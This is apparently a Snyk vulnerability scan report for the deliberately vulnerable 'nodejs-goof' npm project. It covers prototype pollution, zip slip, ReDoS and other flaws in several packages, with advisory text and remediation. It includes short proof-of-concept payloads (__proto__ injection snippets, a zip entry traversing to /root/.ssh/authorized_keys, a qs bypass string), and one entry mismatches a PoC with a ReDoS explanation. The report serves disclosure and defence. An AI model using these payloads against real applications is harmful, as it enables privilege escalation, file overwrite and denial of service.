Snyk test report
+ + +-
+
- /Users/opickford/snyk_projects/nodejs-goof (npm) +
Project | goof |
---|---|
Path | /Users/opickford/snyk_projects/nodejs-goof |
Package Manager | npm |
Manifest | package-lock.json |
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution. + It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.
+Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade handlebars
to version 4.5.3, 3.0.8 or higher.
References
+-
+
- + +
- + +
+ + + +
Arbitrary File Write via Archive Extraction (Zip Slip)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+adm-zip is a JavaScript implementation for zip data compression for NodeJS.
+Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).
+Details
+It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
+The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+ +2018-04-15 22:04:29 ..... 19 19 good.txt
+
+ +2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+
+ Remediation
+Upgrade adm-zip
to version 0.4.11 or higher.
References
+-
+
- + +
- + +
- + +
- + +
- + +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+y18n is a the bare-bones internationalization library used by yargs
+Affected versions of this package are vulnerable to Prototype Pollution. PoC by po6ix:
+const y18n = require('y18n')();
+
+ y18n.setLocale('__proto__');
+ y18n.updateLocale({polluted: true});
+
+ console.log(polluted); // true
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade y18n
to version 3.2.2, 4.0.1, 5.0.5 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade unset-value
to version 2.0.1 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
- GitHub Release +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+typeorm is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).
+Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker that is able to save a specially crafted object to pollute the Object
prototype and cause side effects on the library/application logic, such as Denial of Service attacks and/or SQL injections.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade typeorm
to version 0.2.25 or higher.
References
+-
+
- GitHub PR +
- HackerOne Report +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.
+Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path
parameter are arrays.
PoC
+const set = require("set-value")
+
+ // set({}, ['__proto__','polluted'], 'yes');
+ // console.log(polluted); // Error: Cannot set unsafe key: "__proto__"
+
+ set({}, [['__proto__'],'polluted'], 'yes');
+ console.log(polluted);
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade set-value
to version 4.0.1, 2.0.1 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
- Huntr Bounty Report +
- Snyk Blog +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.
+Affected versions of this package are vulnerable to Prototype Pollution. The function set-value
could be tricked into adding or modifying properties of Object.prototype
using any of the constructor
, prototype
and _proto_
payloads.
PoC by Snyk
+const setFn = require('set-value');
+ const paths = [
+ 'constructor.prototype.a0',
+ '__proto__.a1',
+ ];
+
+ function check() {
+ for (const p of paths) {
+ setFn({}, p, true);
+ }
+ for (let i = 0; i < paths.length; i++) {
+ if (({})[`a${i}`] === true) {
+ console.log(`Yes with ${paths[i]}`);
+ }
+ }
+ }
+
+ check();
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade set-value
to version 2.0.1, 3.0.1 or higher.
References
+ + ++ + + +
Prototype Override Protection Bypass
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+qs is a querystring parser that supports nesting and arrays, with a depth limit.
+Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs
protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString()
, hasOwnProperty()
,etc.
From qs
documentation:
++By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
+
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
+In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [
or ]
. e.g. qs.parse("]=toString")
will return {toString = true}
, as a result, calling toString()
on the object will throw an exception.
Example:
+qs.parse('toString=foo', { allowPrototypes: false })
+ // {}
+
+ qs.parse("]=toString", { allowPrototypes: false })
+ // {toString = true} <== prototype overwritten
+
+ For more information, you can check out our blog.
+Disclosure Timeline
+-
+
- February 13th, 2017 - Reported the issue to package owner. +
- February 13th, 2017 - Issue acknowledged by package owner. +
- February 16th, 2017 - Partial fix released in versions
6.0.3
,6.1.1
,6.2.2
,6.3.1
.
+ - March 6th, 2017 - Final fix released in versions
6.4.0
,6.3.2
,6.2.3
,6.1.2
and6.0.4
Remediation
+ Upgradeqs
to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.References
+
+ - GitHub Commit +
- GitHub Issue +
+ + + +
Uninitialized Memory Exposure
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+npmconf is a package to reintegrate directly into npm.
+Affected versions of this package are vulnerable to Uninitialized Memory Exposure. + It allocates and writes to disk uninitialized memory content when a typed number is passed as input.
+Note npmconf
is deprecated and should not be used.
+ Note This is vulnerable only for Node <=4
Details
+The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
+const buf1 = new Buffer([1,2,3]);
+ // creates a buffer containing [01, 02, 03]
+ const buf2 = new Buffer('test');
+ // creates a buffer containing ASCII bytes [74, 65, 73, 74]
+ const buf3 = new Buffer(10);
+ // creates a buffer of length 10
+
+ The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
+ When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
Remediation
+Upgrade npmconf
to version 2.1.3 or higher.
References
+-
+
- HAckerOne Report +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+negotiator is an HTTP content negotiator for Node.js.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
+ when parsing Accept-Language
http header.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade negotiator
to version 0.6.1 or higher.
References
+-
+
- + +
- + +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mquery is an Expressive query building for MongoDB
+Affected versions of this package are vulnerable to Prototype Pollution via the merge
function within lib/utils.js
. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
PoC
+ require('./env').getCollection(function(err, collection) {
+ assert.ifError(err);
+ col = collection;
+ done();
+ });
+ var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
+ var m = mquery(payload);
+ console.log({}.polluted);
+ // The empty object {} will have a property called polluted which will print vulnerable
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
